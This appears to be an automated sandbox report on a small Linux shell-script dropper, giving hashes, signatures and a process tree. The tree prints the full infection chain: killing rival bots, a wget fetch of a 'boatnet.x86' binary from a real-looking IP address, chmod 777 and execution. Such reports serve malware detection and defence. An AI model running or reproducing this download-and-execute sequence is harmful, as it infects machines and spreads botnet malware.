Analysis
- max time kernel
131s - max time network
150s - platform
ubuntu-18.04_amd64 - resource
ubuntu1804-amd64-20260126-en - resource tags
arch:amd64arch:i386image:ubuntu1804-amd64-20260126-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system - submitted
29/04/2026, 12:18
Static task
static1
Behavioral task
behavioral1
Sample
bin.sh
Resource
ubuntu1804-amd64-20260126-en
ubuntu-18.04-amd64
6 signatures
150 seconds
Behavioral task
behavioral2
Sample
bin.sh
Resource
debian9-armhf-20260126-en
debian-9-armhf
7 signatures
150 seconds
Behavioral task
behavioral3
Sample
bin.sh
Resource
debian9-mipsbe-20260126-en
debian-9-mips
7 signatures
150 seconds
Behavioral task
behavioral4
Sample
bin.sh
Resource
debian9-mipsel-20260127-en
debian-9-mipsel
7 signatures
150 seconds
General
- Target bin.sh
- Size 321B
- Sample260429-pgvbcsfw9m
- SHA256 8a559ab8f2cc7f4c0c52fb78beeecdb9995227ffbd766f4ff8e82721fe7b4438
- MD5 ee07f106d53c88cfe53c265c363f3967
- SHA1 8a4020d121847778fc634095f5522e1b5e58adf4
- SHA512 42973219cd712dfa4fcb3791ec8bf707619e618ec16cb155d6fff2ab4df0ff5d397b2f4127584a880d8e6ae533b08112d4d18c13aa9c689ad6d38adab70047c3
- TLSH T11FE0204FC09A253516395103E311CF24300510125EF2BBBCC449E722C747014F391F75
- MD5 SHA1 SHA512 TLSH
Score
7/10
Malware Config
Signatures
- File and Directory Permissions Modification 1 TTPs 1 IoCs
Adversaries may modify file or directory permissions to evade defenses.
pid Process 1530 chmod - Executes dropped EXE 1 IoCs
ioc pid Process /tmp/boatnet.x86 1531 bin.sh - Enumerates running processes
Discovers information about currently running processes on the system
- Reads CPU attributes 1 TTPs 2 IoCs
description ioc Process File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/online pkill -
description ioc Process File opened for reading /proc/162/cmdline pkill File opened for reading /proc/23/status pkill File opened for reading /proc/30/status pkill File opened for reading /proc/78/cmdline pkill File opened for reading /proc/4/cmdline pkill File opened for reading /proc/29/cmdline pkill File opened for reading /proc/998/cmdline pkill File opened for reading /proc/503/cmdline pkill File opened for reading /proc/948/cmdline pkill File opened for reading /proc/1091/status pkill File opened for reading /proc/468/cmdline pkill File opened for reading /proc/270/status pkill File opened for reading /proc/901/status pkill File opened for reading /proc/1488/status pkill File opened for reading /proc/168/cmdline pkill File opened for reading /proc/79/cmdline pkill File opened for reading /proc/318/status pkill File opened for reading /proc/1050/cmdline pkill File opened for reading /proc/8/cmdline pkill File opened for reading /proc/14/status pkill File opened for reading /proc/444/cmdline pkill File opened for reading /proc/968/status pkill File opened for reading /proc/137/cmdline pkill File opened for reading /proc/270/status pkill File opened for reading /proc/1152/cmdline pkill File opened for reading /proc/1514/status pkill File opened for reading /proc/174/status pkill File opened for reading /proc/204/status pkill File opened for reading /proc/989/cmdline pkill File opened for reading /proc/1096/cmdline pkill File opened for reading /proc/25/status pkill File opened for reading /proc/473/status pkill File opened for reading /proc/985/status pkill File opened for reading /proc/1521/cmdline pkill File opened for reading /proc/15/status pkill File opened for reading /proc/78/status pkill File opened for reading /proc/444/cmdline pkill File opened for reading /proc/989/status pkill File opened for reading /proc/1139/status pkill File opened for reading /proc/1519/cmdline pkill File opened for reading /proc/1521/status pkill File opened for reading /proc/9/cmdline pkill File opened for reading /proc/14/cmdline pkill File opened for reading /proc/901/status pkill File opened for reading /proc/923/status pkill File opened for reading /proc/1092/status pkill File opened for reading /proc/19/cmdline pkill File opened for reading /proc/22/status pkill File opened for reading /proc/923/status pkill File opened for reading /proc/975/cmdline pkill File opened for reading /proc/162/status pkill File opened for reading /proc/478/status pkill File opened for reading /proc/1160/status pkill File opened for reading /proc/169/cmdline pkill File opened for reading /proc/418/status pkill File opened for reading /proc/1092/status pkill File opened for reading /proc/1152/status pkill File opened for reading /proc/1514/cmdline pkill File opened for reading /proc/923/cmdline pkill File opened for reading /proc/11/cmdline pkill File opened for reading /proc/160/cmdline pkill File opened for reading /proc/1056/status pkill File opened for reading /proc/1488/cmdline pkill File opened for reading /proc/4/status pkill - Writes file to tmp directory 2 IoCs
Malware often drops required files in the /tmp directory.
description ioc Process File opened for modification /tmp/boatnet.x86 wget File opened for modification /tmp/bot.log boatnet.x86
Processes
-
/tmp/bin.sh/tmp/bin.sh1⤵
- Executes dropped EXE
PID:1521 -
/usr/bin/pkillpkill -9 -f boatnet2⤵
- Reads CPU attributes
- Reads runtime system information
PID:1522
-
-
/usr/bin/pkillpkill -9 -f rage.bot2⤵
- Reads CPU attributes
- Reads runtime system information
PID:1523
-
-
/usr/bin/wgetwget http://176.65.139.69/hiddenbin/boatnet.x86 -O boatnet.x862⤵
- Writes file to tmp directory
PID:1524
-
-
/bin/chmodchmod 777 boatnet.x862⤵
- File and Directory Permissions Modification
PID:1530
-
-
/tmp/boatnet.x86./boatnet.x86 rage.bot2⤵
- Writes file to tmp directory
PID:1531
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
- Path /tmp/boatnet.x86
- Size 68KB
- SHA256 02e54b01bd57ae3d3ca09871a4766b89b032c3e2b4654cf69cbba430854d5337
- MD5 a4fdd256703c4d946149805314251c7d
- SHA1 f5ec4a647137ff078e9f9fa8a763b8d0a7b6d6d2
- SHA512 914ffba870edd999e90bfbb4e93a599255236763273578d2297555ac89151ba8e65fee7392c8317404f103593df9bc3a14d937c1228220b4c545a9254146bc1b
- SSDEEP 1536:t+E8zCO4b+XNWegiUiKBgZle7i9VEVx/SCaaoFLjJg:6maXNWBBiUYc/0G
- TLSH T1B8632947BB42DE77D45310F102F76B664A32FC3A6C36C682E764BCA0AA915D0A61737C
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path /tmp/bot.log
- Size 51B
- SHA256 3904519107d02d7a7b2c22f4520fffbe9eae9edb4012e5df79a978ffbed1d50a
- MD5 4cc488c609303959cd8b7e815d73e707
- SHA1 e72b1f424252f0072efbab10970aef371b482aea
- SHA512 9767263da9142ea44a47dd3ec958c7c8c38d8cb0c3fa9c3ef6d5c978ee6ab50f1832812993f7cdccdd0b510fa34d8096f47078f8698a3131cbe63531798ce619
- TLSH T17D90024414505086A11E21D55ED2A4219A7D141502150481226D356DC266154CB358F2
- MD5 SHA1 SHA512 TLSH